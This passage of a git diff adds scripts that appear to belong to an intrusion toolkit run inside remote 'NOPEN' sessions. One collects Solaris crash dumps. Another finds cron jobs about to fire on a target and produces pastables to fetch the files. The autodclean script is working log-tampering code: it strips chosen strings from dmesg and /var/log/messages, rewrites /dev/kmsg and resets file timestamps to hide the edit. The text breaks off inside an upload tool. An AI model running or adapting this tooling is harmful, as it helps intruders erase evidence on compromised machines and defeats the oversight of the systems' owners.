$filelist .= "\n\n"; + push(@allowed,$key); + } + } + my $default = maxof(@allowed); + my ($prompt) = ("\n\n". + "Which set of files do you want to examine (@allowed or (A)BORT)?". + ""); + ($ans,$longans) = mygetinput($filelist.$prompt,$default,@allowed,"A","ABORT") unless $listonly; + mymydie("User aborted") if ($longans eq "a"); + } else { + progprint($COLOR_FAILURE."\n\n". + "No crash files found.". + ""); + } + return($unixfiles{$longans},$vmcorefiles{$longans}); +} + +sub parsecrashfiles { + # Right now, we're only parsing the last file pairing in the array. If + # we don't have a pairing, bail. + local ($unixfile,$vmcorefile) = (@_); + return 1 unless ($unixfile and $vmcorefile); + + my $command=""; + my @commands = ( + "showrev", + "isainfo -kv", + "uname -a", + "modinfo", + "echo kmem_flags?X | mdb -k", + "echo \\\$c | mdb -k $unixfile $vmcorefile", + "echo \\\$r | mdb -k $unixfile $vmcorefile", + "echo \\\$\\\ $crashdump") or mydie("Unable to open crashdump file $crashdump: $!"); + select DUMP; + my $ourgmt = gmtime(); + $ourgmt =~ s/(\d\d\d\d)$/GMT $1/; + my $header = sprintf("-gs crashdump CRASH DUMP\nGENERATED ON $nopen_rhostname AT $ourgmt\nFROM FILES $unixfile $vmcorefile\n"); + print "$header"; + close(DUMP); + select STDOUT; + + @accessedfiles = (dirname($_[0]),@_,); + filetimesave(@accessedfiles); + + + my $selector = ">>T:"; + if ($batchmode) { + $selector = ">>L:"; + } + foreach $command (@commands) { + open(DUMP,">> $crashdump") or mydie("Unable to open crashdump file $crashdump: $!"); + select DUMP; + print "-----------------------------------------\n"; + print "COMMAND: $command\n"; + print "-----------------------------------------\n"; + close(DUMP); + select STDOUT; + + doit("$command $selector$crashdump"); + unless (($runall or $batchmode)) { + my ($ans,$longans) = mygetinput + ( + "\nThat was $command". + "\n\nontinue, or say es to run remaining commands without pausing.", + "C", + "C","A","Y"); + if ($ans eq "y") { + $runall = 1; + } + elsif ($ans eq "a") { + mymydie("ABORTING crashdump"); + } + } + } + + my @autoargv = ("-L"); + mydo("autologcheck",@autoargv) unless $batchmode; + + offerabort( + "That was a listing of log files. If any of the crashdump commands logged, CLEAN THAT UP!". + "") unless $batchmode; + + ($output,$nopenlines,@listing) = doit("-lsh ls -latr $crashdump"); + return 1; +} + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs crashdump @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs crashdump"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=crashdump\" is used. + +"; + $gsusagetext=" +Usage: $prog [options] + +$prog uses -ls to find the latest set of Solaris crash files on target, then +runs a series of commands against the crash files to generate logs that can +be analyzed to find out why the crash took place. + +OPTIONS + -h Show this help + -v Show version + -l List the crash files only; don't analyze them. + -Y Run all commands without pausing between runs. + -b Run in batch mode; generate the crash dump but don't show anything on the screen. + +"; + + mydie("bad option(s)") if (! Getopts( "hvlYb" ) ); + usage() if ($opt_h or $opt_v); + + $listonly = $opt_l; + $runall = $opt_Y; + $batchmode = $opt_b; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + # Bail if mdb doesn't exist. + ($output,$nopenlines,@output) = doit("which mdb"); + unless ($listonly or grep {/mdb$/} @output) { + myalert("mdb is not installed on this target!"); + # This will prevent parsecrashfiles() from executing. + $listonly = 1; + } + + # Save any old crash files. + preservefile("$opdown/crashdump.$nopen_rhostname"); + +} diff --git a/Linux/etc/autocroncheck b/Linux/etc/autocroncheck new file mode 100755 index 0000000..920f67b --- /dev/null +++ b/Linux/etc/autocroncheck @@ -0,0 +1,548 @@ +#!/usr/bin/env perl +$VER="2.0.2.6" ; +myinit() ; +# +# field allowed values +# minute 0 - 59 +# hour 0 - 23 +# day of month 1 - 31 +# month 1 - 12 (or names, see below) +# day of week 0 - 7 (0 or 7 is Sun, or use names) + +docroncheck(); + +# End with true value as we require this script elsewhere. +1; +#END MAIN LOGIC SUBS FOLLOW + + +sub docroncheck { + if ($noget) { + mydie("Cannot use \"noget\" option unless $prog was run once without it") + unless open(INCRON,"$optmp/cronfiles.$nopen_rhostname"); + while () { + chomp; + push(@files,$_); + } + } + ($croncheckoutput,$nopenlines,@croncheckoutput) = doit("date ; date -u"); + dbg("in autocroncheck, croncheckoutput = =$croncheckoutput="); + # In case there are errors AND valid dates in this output, + # we clean those out: + @croncheckoutput = grep /(\d\d:\d\d\s|Sun |Mon |Tue |Wed |Thu |Fri |Sat )/, + @croncheckoutput; + if ($croncheckoutput eq "" or !$croncheckoutput) { + # Try again with -time. + + ($timeoutput,$nopenlines,@timeoutput) = doit("-time"); + foreach (@timeoutput) { + #dbg("in autocroncheck, timeoutput = =$_="); + next unless /^Remote.+\s(\S+)\s(\S+)\s+(\d{1,2})\s(\d{2}:\d{2}:\d{2})\s(\d{4})$/; + push(@croncheckoutput,"$1 $2 $3 $4 GMT $5"); + } + myalert("Unable to continue; cannot get date/time from target"); + return 0; + } + $ourgmt = gmtime(); + $ourgmt =~ s/(\d\d\d\d)$/GMT $1/; + my @retval = targettime(@croncheckoutput) ; + unless (@retval) { + return 0; + } + ($min,$hr,$mday,$mon,$wday,$loctime,$gmttime) = @retval; + unless (@files and !$forcedownload) { + # Not as simple as hoped... + # + # Because we need the original file listings to get the local paths, + # we can't use nopenlss() ourselves. Instead, we have to do the -ls -R + # ourselves, process it ourselves and check each path with gotlocalcopy(). + my @cronfiles = (); + ($croncheckoutput,$nopenlines,@croncheckoutput) = doit("-ls -R $crondirs"); + unless ($croncheckoutput) { + myalert("$crondirs do not exist on target"); + return 0; + } + processnopenls(\@cronfiles,0,0,$sizecutoff,$croncheckoutput,$nopenlines,@croncheckoutput); + my (@crongets,$localcopy,$remotecopy) = (); + foreach (@cronfiles) { + ($localcopy,$null,$remotecopy,$null) = gotlocalcopy("$_"); + next if ($localcopy and !$forcedownload); + dbg("in autocroncheck, pushing file =$_= =$remotecopy= to crongets array"); + push(@crongets,"$_"); + } + while (@crongets >= 100) { + my $listing = " ".join("\n ",@crongets); + my $now = ""; + my ($ans,$longans) = ("c","continue"); + ($ans,$longans) = mygetinput + (".\n\n\nCRON LISTING THUS FAR HAS ".scalar @crongets." entries.\n\n". + $listing."\n\n". + "ABOVE CRON LISTING$now HAS ".scalar @crongets." entries.\n\n". + "If you just want to pull them all, the default will do so.\n". + "If instead you would like to slim down the list, enter a perl\n". + "regexp to filter OUT some of the files.\n\n". + "Either kip the rest of autocroncheck, ontinue, or enter some regular expression:","C","S","A", + ) unless $gbl_nopromptsplease; + $ans = "s" if ($ans eq "a"); + $now = " NOW"; + last if ($ans eq "c" and $longans =~ /^c(ontinue){0,1}/i); + if ($ans eq "s" and $longans =~ /^s(kip){0,1}/i) { + progprint("User aborted the rest of autocroncheck") ; + sleep 4; + return 0; + } + @crongets = grep ! /$longans/ , @crongets ; + if (@crongets < 100) { + progprint("$COLOR_NORMAL\n\n". + "CONTINUING, CRON LISTING$now HAS ".scalar @crongets." entries."); + sleep 3; + } + } + dbg("in autocroncheck, retrieving these files =@crongets="); + + # If we have any entries at all in the array, call nopenlss() to retrieve + # the missing files. This prevents the wasteful redownloading of files + # because of the gotlocalcopy() checks above. + if ($crongets[-1]) { + my @lssargs = ("-rUFQGYM500000"); + push(@lssargs,"-T50") unless $forcedownload; + ($lssoutput,$nopenlines,@lssoutput) = nopenlss(@lssargs,@crongets); + } + + (@asciifiles,%files) = (); + foreach (@cronfiles) { + $localfile = "$opdown/$nopen_rhostname$_"; + $files{$localfile}++; + } + @files = sort keys %files; + } + foreach $file (@files) { + chomp(my $filecheck = `file $file 2>/dev/null`) ; + next unless ($filecheck =~ /(text|ascii)/i) ; # skip pesky binaries + next if ($filecheck =~ /shell/i) ; # skip pesky shell scripts + push(@asciifiles,$file); + if (($basefile) = $file =~ /(.*)\.\d+$/) { + # Skip dupes + next unless `diff $file $basefile` ; + } + if ($skipbaks and $file =~ /(\.bak|\.sav)/ ) { + $skippedfiles .= "\n\t$file" ; + next ; + } + $file =~ s,/current/(down|up|bin|etc|tmp)/../down,/current/down,; + push(@usetheselocalfiles,$file); + } + foreach $file (@usetheselocalfiles) { + ($size,$tmpfile) = `find $file -ls | cut -c 50-999` + =~ /^\s*(\d+)\s*(.*)\s*/; + # my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,$atime, + # $mtime,$ctime,$blksize,$blocks) = stat($file); + $tmpfile =~ s,/current/down,../down,; + $uniquefiles .= sprintf("%7d %s\n",$size,$tmpfile); + $uniquefiles2 .= " $file" ; + # progprint("In $file:\n"); + unless (open(IN,"< $file")) { + mydie("cannot open $file"); + } + + while ($line = ) { + next unless $line ; + next if $line =~ /^\#/ ; + parsecronline($line) ; + #$duh = ; + }# while () + close(IN) ; + if (%{$warning{$file}}) { + my $tmp; + my @firetimes = sort by_num keys( %{$warning{$file}}) ; + $finaloutput .= "\nLINES FROM $file (minutes-until-fire: line)\n". + "$COLOR_FAILURE" ; + foreach my $t (@firetimes) { + $finaloutput .= sprintf("%02d:\t%s",$t,$warning{$file}{$t}) ; + } + $finaloutput .= "$COLOR_NOTE" ; + } + }# foreach $file + open(OUTCRON,"> $opdown/autocroncheckall.$nopen_rhostname") || die $! ; + print OUTCRON "Fire times shown from target LOCAL time: + their LOCAL: $loctime\ntheir GMT: $gmttime\n our GMT: $ourgmt\n\n" ; + foreach (sort by_num keys %fires) { + # keys %fires are the timediffs + my $timestr = timetostr($_,"min") ; + print OUTCRON "Fires in $timestr ($_ minutes):\n$fires{$_}\n" ; + } + + close(OUTCRONALL); + my $popwarn=0; + if ($finaloutput) { + $popwarn=1; + # $COLOR_NOTE for most of this output $COLOR_FAILURE for a few good lines + $finaloutput = "$who: THE FOLLOWING CRON TABLE ENTRIES WILL FIRE IN ". + "UNDER$COLOR_FAILURE $maxdiff MINUTES$COLOR_NORMAL:\n$finaloutput" ; + } + $finaloutput .= "\nTo see all cron entries sorted by fire-time:${COLOR_FAILURE}\n-lsh cat $opdown/autocroncheckall.$nopen_rhostname\n$COLOR_NOTE\n" ; + $finaloutput .= "### PASTABLES to list out files first (don't get giant ones)\n$pastables1\n\n" if $pastables1 ; + $finaloutput .= "### PASTABLES to maybe get files if not giant\n$pastables2" if $pastables2 ; + + my $newuniquefiles = `echo -e \"$uniquefiles\" | lss 2>/dev/null`; + $uniquefiles = $newuniquefiles if (length $newuniquefiles); + $finaloutput .= "\nUnique $who crontabs now in $opdown (sorted by mtime):\n".$uniquefiles; + + if (@asciifiles) { + # Add one or more -lsh more lines, making sure each is at most 2048 characters long + my ($moreline) = ""; + $finaloutput .= "\nTake a look at the raw crontab files (sans comments) with this\n". + " in any NOPEN window (triple click it):${COLOR_FAILURE}\n\n"; + while (@asciifiles) { + my $file = pop(@asciifiles); +dbg("On $file"); + $moreline .= "$file "; + if (2048 - length $moreline - 43 <= 0) { + $finaloutput .= "-lsh cd $opdown ; more $moreline | grep -v \"^#\""; + $moreline = ""; + } + } + $finaloutput .= "-lsh cd $opdown ; more $moreline | grep -v \"^#\"" + if $moreline; + } + + $finaloutput .= "\n${COLOR_FAILURE}SKIPPED$COLOR_NOTE processing of these backup files: $skippedfiles\n" if $skippedfiles ; + + + unless ($noget) { + if (open(OUTCRON,"> $optmp/cronfiles.$nopen_rhostname")) { + foreach (@files) { + print OUTCRON "$_\n"; + } + } else { + mydie("Cannot write $optmp/cronasciifiles.$nopen_rhostname"); + } + } + + if ($popwarn) { + dolocalecho("$finaloutput",1, + "popup +cm -geometry 198x64+39+31 -font 6x12 ". + "-title AUTOCRONCHECK-$who"); + $more = "See popped up window with the same output shown here."; + } else { + $more = "No cron entries fire in under $maxdiff minutes."; + } + + if ($nopen_server_os =~ /linux/i) { + $more2 .= "\n$COLOR_NOTE\nNOTE:$COLOR_FAILURE On this Linux system, there are likely shell scripts that +$prog cannot process. All cron related files downloaded are being +popped up in another window. $COLOR_NOTE SCAN THEM MANUALLY!! +"; + } + # TODO: OK need to do second window popup when linux + # But print it to noclient window either way + progprint(" \n\n\n\nProcessing done. $more\n". + $finaloutput. + $more2); + + return 1; +}#docroncheck + +sub timediff { + local ($min,$hr,$mday,$mon,$wday) = (@_) ; + # globals: ($cmin,$chr,$cmday,$cmon,$cwday) = cronline entries ; + # returns number of minutes until next firing of + # cron time ($cmin,$chr,$cmday,$cmon,$cwday) based on + # curr time ($min, $hr, $mday, $mon, $wday) + my $diff = 0; + unless ($cmin eq "*") { + if ($min <= $cmin) { + $diff += $cmin - $min ; + } else { + $diff += $cmin + 60 - $min ; + $hr++ ; + } + } + unless ($chr eq "*") { + if ($hr <= $chr) { + $diff += 60 * ($chr - $hr) ; + } else { + $diff += 60 * ($chr + 24 - $hr); + $mday++ ; + $wday++ ; + } + } + if ($cwday eq "*") { + unless ($cmday eq "*") { + if ($mday <= $cmday) { + $diff += 24 * 60 * ($cmday - $mday) ; + } else { + $diff += 24 * 60 * ( $mday + $cmday); + $mon++ unless ($cmon eq "*"); + } + } + unless ($cmon eq "*") { + if ($mon <= $cmon) { + $diff += 60 * ($cmon - $mon) ; + } else { + $diff += 60 * (24 - $mon + $cmon); + $what++ unless ($cwhat eq "*"); + } + } + } else { # We have a day-of-week fire + $cwday = 0 if ($cwday == 7) ; + if ($wday <= $cwday) { + $diff += 24 * 60 * ($cwday - $wday) ; + } else { + $diff += 24 * 60 * ($cwday + 7 - $wday); + } + } + return $diff ; +}#timediff + +sub targettime { + local (@dates) = (@_); + my ($tl,$tg)=@dates; + # NOTE: This regexp has been modified. It should now match a properly formatted date output such as + # Sat Jan 01 00:00:01 GMT 2009, a slightly broken date output like Sat Jan 01 00:00:01 GMT EDT 2009, + # or a thoroughly broken one such as Sat Jan 01 00:00:01 BORK BORK BORK 2009 + unless ($tl =~ /((Mon|Tue|Wed|Thu|Fri|Sat|Sun)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+)\s+(\d\d):(\d\d):(\d\d)\s+(\S*){0,1}\s+(\S*\s*)*\s*(\d\d\d\d))/ ) { + myalert("Malformed date output from target: $tl"); + return (); + } + + my ($all,$daystr,$monstr,$mday,$hr,$min,$sec,$tz,$year,$altyear) = + ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10); + # NOTE: Because $tz is sometimes set to bad and invalid values, we need to assume _something_ so that + # autocroncheck doesn't explode. Assume GMT. + $tz = "GMT" if ($tz eq "" or $all =~ /.*Local time zone.*/); + # Make sure the year is set from $altyear if we get bogus values from the regexp in $year. + $year = $altyear if ($year !~ /^\d{4}$/ and $altyear =~ /^\d{4}$/); + mydie("Malformed date -u output from target: $tg") + unless $tg =~ /((Mon|Tue|Wed|Thu|Fri|Sat|Sun)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+)\s+(\d\d):(\d\d):(\d\d)\s+(\S*){0,1}\s*(\d\d\d\d))/ ; + my $mon = $mon{uc $monstr}; + my $wday = $day{uc $daystr}; + return($min,$hr,$mday,$mon,$wday,$tl,$tg) ; +}# targettime + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs croncheck @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + } + $who = uc $nopen_rhostname ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + mydie("bad option(s)") if (! Getopts( "hvl:Rm:AF" ) ) ; + while ( my $arg = shift @ARGV ) { + if (lc $arg eq "noget") { + my $checkfiles = `find $opdown/$nopen_rhostname 2>&1 | grep cron` ; + # Only skip getting if we already have them + $noget++ if (length($checkfiles)); + next ; + } else { + mydie("arguments must be full paths") unless ($arg =~ /^\//) ; + push(@moredirs,$arg); + } + } + $skipbaks = (!$opt_A) ; + # Want to return right away so parent exits and both close stdin/out + # Only output: Via popped up windows. + $maxdiff = 200 ; + $maxdiff = int($opt_m) if ($opt_m and $opt_m == int($opt_m) and $opt_m > 0) ; + # Defaults + # Do not want to ever treat these as -get pastables + foreach $badfile ("/dev/null") { + $gotpastable{$badfile}++; + } + $defsizecutoff = 500 ; + # look where for crontabs + my $defcrondirs = "/var/spool/cron/ /etc/cron.d /etc/crontab /etc/periodic" ; + if ($nopen_server_os =~ /linux/i) { + $defcrondirs = "/var/spool/cron/ /etc/cron\\* /etc/crontab" ; + } +# if ($nopen_server_os =~ /freebsd/i) { +# $defcrondirs = "/etc/crontab"; +# } + if ($nopen_server_os =~ /darwin/i) { + $defcrondirs .= " /Library/Launch\\* /System/Library/Launch\\*"; + } + $crondirfile = "$optmp/.crondirs.$nopen_rhostname" ; + if (! -e "$crondirfile" or $opt_R) { + if (open(OUTCRON,"> $crondirfile")) { + print OUTCRON "$defcrondirs @moredirs\n"; + close(OUTCRON); + } else { + mydie("Unable to open > $crondirfile"); + } + } + mydie("Unable to open < $crondirfile") unless (open(IN2,"< $crondirfile")) ; + chomp($crondirs = ) ; + if (@moredirs) { + $crondirs = " $crondirs " ; + foreach (@moredirs) { + $crondirs .= "$_/ " unless $crondirs =~ / $_\/ / ; + } + $crondirs =~ s/ / /g ; + $crondirs =~ s/\/\//\//g ; + $crondirs =~ s/^\s*(.*)\s*$/\1/g ; + if (open(OUTCRON,"> $crondirfile")) { + print OUTCRON "$crondirs\n"; + close(OUTCRON); + } else { + mydie("Unable to open > $crondirfile second time"); + } + } + close(IN2) ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"-gs croncheck\" is used. + +"; + $gsusagetext="Usage: -gs croncheck [options] [ dir [dir2] ... ] + +-gs croncheck lists cron directories recursively, then uses that output +to determine which crontab files to bring back. Large files (over ${defsizecutoff}K +by default) are skipped. + +If any crontab entries will fire in the next $maxdiff minutes (see -m# below), +they are shown in a LARGE popup window, sorted by time, with pastables to +maybe -ls or -get files/directories referenced by those crontab entries. + +If a \"dir\" is provided (must start with \"/\") it is also listed (this time +and in future uses of autocroncheck for this host). Currently for +$nopen_rhostname, these cron directories will be listed: + + $crondirs + +OPTIONS + + -l # size, in K, greater than which NOT to download (default: ${defsizecutoff}) + -R reset log directories for this host to: /var/log /var/adm + -m # # of minutes into future to show what will fire (default: $maxdiff) + -F Force fresh download of crontabs, default re-uses ones already + downloaded previously. + -A process ALL files found (default: skip .sav* and .bak* files) + +"; + usage() if ($opt_h or $opt_v) ; + # How large to download? + $forcedownload = $opt_F; + $sizecutoff = $defsizecutoff ; + $sizecutoff = int($opt_l) if ($opt_l > 0 and ($opt_l == int($opt_l))) ; + $sizecutoff = $defsizecutoff if $sizecutoff > 1000000 ; + # now put it in bytes + $sizecutoff *= 1024 ; + + %mon=(JAN,1,FEB,2,MAR,3,APR,4,MAY,5,JUN,6,JUL,7,AUG,8,SEP,9,OCT,10,NOV,11,DEC,12); + %day=(SUN,0,MON,1,TUE,2,WED,3,THU,4,FRI,5,SAT,6) ; + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit + +sub parsecronentry { + local(@arr) = (@_); + my @lim = (60,24,32,13,8) ; # high end for ranges by field (min,hr,day,mo,dow) + return () if ($#arr < 4) ; + for (my $i=0 ; $i <= 4 ; $i++) { + if ($arr[$i] =~ /^(\d+)\/(\d+)$/ ) { + my $inc = int($2); + next unless $inc == $2; + my $comma = "" ; + $arr[$i] = "" ; + for (my $j=0 ; $j<$lim[$i] ; $j+=$inc) { + $arr[$i] .= "$comma$j" ; + $comma=","; + } + } + } + return @arr ; +} + +sub parsecronline { + local ($_) = (@_); + s/[ \t]+/ /g; + ($cmin,$chr,$cmday,$cmon,$cwday) = parsecronentry(split) ; + @mn = split(/,/,$cmin) ; + @h = split(/,/,$chr) ; + @d = split(/,/,$cmday) ; + @m = split(/,/,$cmon) ; + @w = split(/,/,$cwday) ; + return unless(@mn and @h and @d and @m and @w) ; + foreach $cmin (@mn) { + foreach $chr (@h) { + foreach $cmday (@d) { + foreach $cmon (@m) { + foreach $cwday (@w) { + $timediff = timediff($min,$hr,$mday,$mon,$wday) ; + $fires{"$timediff"} .= $_ ; + if ( ! $mindiff{$_} or $timediff < $mindiff{$_}) { + $mindiff{$_} = $timediff; + } + if ( ! $maxdiff{$_} or $timediff > $maxdiff{$_}) { + $maxdiff{$_} = $timediff; + } + if ($timediff < $maxdiff) { + $gotit{$timediff}{$_}++ ; +# sprintf($tmp,"%4d: %s",$timediff,$_) ; + $warning{$file}{$timediff} .= $_ ; + if ((@getfiles) = /(\/\S+)/g ) { + foreach $getfile (@getfiles) { + next if ($getfile =~ /^\/\d+$/) ; + if ($getfile =~ m,[^\"].*\"$,) { + chop($getfile); + } + unless ($gotpastable{$getfile}++) { + $pastables1 = "-ls -R" unless $pastables1 ; + $pastables1 .= " $getfile" ; + $pastables2 .= "-vget $getfile\n" ; + } + } + } +# $warning{$file} .= $tmp unless + $gotit{$file}{$_}++ ; + } + } } } } } # $mn $hr $d $m $w + +}#parsecronline + +sub timetostr { + local ($total,$unit) = (@_) ; + $total *= 60 if ($unit eq "min") ; + # so $total is now in seconds + my $secs = $total % 60 ; + $total -= $secs; + my $mm = ($total/60) %60 ; + $total -= $mm * 60 ; + my $hh = (($total/60) / 60) % 24 ; + $total -= $hh * 60 * 60 ; + my $dd = (($total/60) / 60) / 24 ; + my $ssout = "$secs}s " unless ($unit eq "min") ; + my $mmout = "${mm}m " if $mm > 0; + my $hhout = "${hh}h " if $hh > 0; + my $ddout = "${dd}d " if $dd > 0; + return "$ddout$hhout$mmout$ssout" ; +} + +__END__ + $mm = $_ % 60 ; + if ($_ > 60) { + $hh = ($_ - $mm) / 60 ; + $hhout = "${hh}h " ; + } + if ($hh > 24) { + $dd = int ($hh / 24) ; + $dd .= "d " ; + $hh -= 24 * $dd ; + $hhout = "${hh}h " ; + } diff --git a/Linux/etc/autodclean b/Linux/etc/autodclean new file mode 100755 index 0000000..578a3de --- /dev/null +++ b/Linux/etc/autodclean @@ -0,0 +1,175 @@ +#!/usr/bin/env python +VERSION = '1.0.0.6' + +import os +import sys +import shlex +import traceback +import time +import re + +import autoutils +from autoutils import COLOR +from autoutils import OptParser + +import cdate + +class autodclean: + + def __init__(self): + + self.version = VERSION + self.nopen = autoutils.autoutils() + self.parser = self.get_arg_parser() + self.doprint = self.nopen.doprint + self.doit = self.nopen.doit + self.doitwrite = self.nopen.doitwrite + + + def main(self, argv): + + argv = argv[1:] + opts, args = self.nopen.parseArgs(self.parser, argv) + + if len(argv) < 1: + self.parser.print_help() + return self.nopen.finish() + + # connect to autoport after parse args + if not self.nopen.connected: + self.nopen.connect() + + if 'SunOS' in self.nopen.nopen_serverinfo: + self.doprint(COLOR['fail'], 'BAIL: -gs dclean is not necessary on Solaris platforms, as dmesg just reads from /var/adm/messages!') + return self.nopen.finish() + + if 'Linux' not in self.nopen.nopen_serverinfo: + self.doprint(COLOR['fail'], 'BAIL: -gs dclean is not supported on this:\n\n%s\n\n' % self.nopen.nopen_serverinfo) + return self.nopen.finish() + + output, nopenlines, outputlines = self.doit('-ls /dev/kmsg') + if not output.startswith('crw'): + self.doprint(COLOR['fail'], 'Error: there\'s no /dev/kmsg, so we can\'t clean on this target!') + return self.nopen.finish() + + self.nopen.hidden_dir = self.nopen.getHidden() + + if opts.DISP: + output, nopenlines, outputlines = self.doit('dmesg') + + if opts.TEST: + print "test: %s" % fixString(opts.TEST) + badstring = fixString(opts.TEST) + output, nopenlines, outputlines = self.doit('dmesg | egrep "%s" 2>/dev/null' % badstring) + output2, nopenlines2, outputlines2 = self.doit('egrep "%s" /var/log/messages 2>/dev/null' % badstring) + self.doprint(COLOR['normal'], 'Logs of interest\n================\n\nFrom dmesg:\n%s\n\nFrom /var/log/messages:\n%s' % (output,output2)) + + + if opts.CLEAN: + hiddenDirArray = self.nopen.getHidden() + if len(hiddenDirArray) > 0: + self.nopen.hidden_dir = hiddenDirArray[0] + elif opts.TMPDIR: + self.nopen.hidden_dir = opts.TMPDIR + else: + self.doprint(COLOR['fail'], 'No hidden directory found or provided, using /tmp instead') + self.nopen.hidden_dir = '/tmp' + self.doprint(COLOR['fail'], 'Using the working directory %s for cleaning' % self.nopen.hidden_dir) + badstring = fixString(opts.CLEAN) + output, nopenlines, outputlines = self.doit('dmesg | egrep "%s"' % badstring) + # Hold it - do we see timestamps? + dmesgTimestamps = 0 + if re.match("^\[.*\d{6}\]", outputlines[0]): + answer = self.nopen.getInput("So dmesg has a timestamp associated with each log as it was written. It "+ + "is in the form of seconds since boot.\n\nIf you choose to clean these logs, every log will be updated "+ + "with a current timestamp instead of the timestamp from boot time, to include the boot sequence (usually "+ + "0 but will now have the current time).\n\nAre you sure you want to do this?", default='n') + if answer.lower() == 'yes' or answer.lower() == 'y': + dmesgTimestamps = 1 + else: + self.doprint(COLOR['fail'], 'BAILED.') + return self.nopen.finish() + output2, nopenlines2, outputlines2 = self.doit('cat /var/log/messages | egrep "%s"' % badstring) + self.doprint(COLOR['fail'], 'From dmesg:\n%s\n\nFrom /var/log/messages:\n%s' % (output,output2)) + answer = self.nopen.getInput('Is this what you want to clean?', default='n') + if answer.lower() == 'yes' or answer.lower() == 'y': + dmesg_tmpfilename = self.nopen.tmpfilename("%s/.d" % self.nopen.hidden_dir) + messages_tmpfilename = self.nopen.tmpfilename("%s/.m" % self.nopen.hidden_dir) + output, outfilename = self.doitwrite('dmesg') + fd = open(outfilename,'r') + for i, l in enumerate(fd): + pass + dmesg_numlines = i-1 + messages_numlines = self.doit('cat /var/log/messages | wc -l') + self.doit('cat /var/log/messages | egrep -v "%s" > %s' % (badstring,messages_tmpfilename)) + if dmesgTimestamps: + self.doit('dmesg -c | sed "s,^\[.*[0-9]\{6\}] ,,g" | egrep -v "%s" > %s' % (badstring, dmesg_tmpfilename)) + else: + self.doit('dmesg -c | egrep -v "%s" > %s' % (badstring, dmesg_tmpfilename)) + dmesg_new_numlines = self.doit('cat %s | wc -l' % dmesg_tmpfilename) + self.doit('while IFS= read line; do echo "$line" > /dev/kmsg; done < %s' % dmesg_tmpfilename) + total_new_lines = int(messages_numlines[0])+int(dmesg_new_numlines[0]) + output, nopenlines, outputlines = self.doit('cat /var/log/messages | wc -l') + messages_new_numlines = int(output) + while messages_new_numlines < total_new_lines: + self.doprint('Sleeping for 5s to wait for messages to update...') + time.sleep(5) + output2, nopenlines2, outputlines2 = self.doit('cat /var/log/messages | wc -l') + if int(output2) == messages_new_numlines: + break + messages_new_numlines = int(output2) + self.doit('cat %s > /var/log/messages' % messages_tmpfilename) + self.doit('rm %s %s' % (messages_tmpfilename,dmesg_tmpfilename)) + output, nopenlines, outputlines = self.doit("-tail -1 /var/log/messages") + output2, nopenlines2, outputline2 = self.doit("date +%z") + mydate = "%s %s" % (' '.join(output.split()[:3]), output2) + epochTime, touchTime, sulogTime, stringTime = cdate.convert(mydate) + if epochTime: + self.doit('-touch %s:%s /var/log/messages' % (epochTime, epochTime)) + self.doprint(COLOR['success'], '\n\n\tCleaned dmesg and /var/log/messages successfully.\n\n') + else: + self.doprint(COLOR['fail'], '\n\n\tCleaned dmesg and /var/log/messages successfully, but couldn\'t touch back the times!\n\n') + + else: + self.doprint(COLOR['fail'], 'BAILED.') + + return self.nopen.finish() + + + def get_arg_parser(self): + + epilog = '\n-gs dclean version %s\n' % self.version + + parser = OptParser(usage='usage: -gs dclean [options]', epilog=epilog) + + parser.add_option('-s', dest='DISP', action='store_true', help='Show dmesg') + parser.add_option('-t', dest='TEST', metavar='string', type='string', action='store', help='Test a grepout of a string') + parser.add_option('-c', dest='CLEAN', metavar='string', type='string', action='store', help='Clean a particular string out of dmesg') + parser.add_option('-l', dest='TMPDIR', metavar='dir', type='string', action='store', help='Temporary directory if no hidden directory exists (default: /tmp)') + + return parser + +def replace_all(text, dic): + for i, j in dic.iteritems(): + text = text.replace(i, j) + return text + +def fixString(text): + replaceme = {'(':'.', + ')':'.', + } + return replace_all(text, replaceme) + + +if __name__ == '__main__': + + try: + # re-set the argv b/c NOPEN will do weird things with splitting args + argv = shlex.split(' '.join(sys.argv)) + autodclean().main(argv) + except Exception, e: + print '\n\n%sUnhandled python exception: %s%s\n\n' % \ + (COLOR['bad'], str(e), COLOR['normal']) + print '%sStack trace:\n' % COLOR['fail'] + traceback.print_exc() + print COLOR['normal'] diff --git a/Linux/etc/autodeploy b/Linux/etc/autodeploy new file mode 100755 index 0000000..ec8e9bb --- /dev/null +++ b/Linux/etc/autodeploy @@ -0,0 +1,302 @@ +#!/usr/bin/env perl +# +$VER="1.1.0.2"; +my $localfile=""; +my $remotename=""; +my $remotepath=""; +my $genpastable=0; +my $start=1; +my $startalt=0; +my $putfile=0; +my $putscript=0; +my $beforeargs=""; +my $afterargs=""; +myinit(); + +sub dofileupload { + my $filesize=0; + + $filesize = -s $localfile; + #dbg("in autodeploy dofileupload, filesize = =$filesize="); + unless ($filesize and $filesize 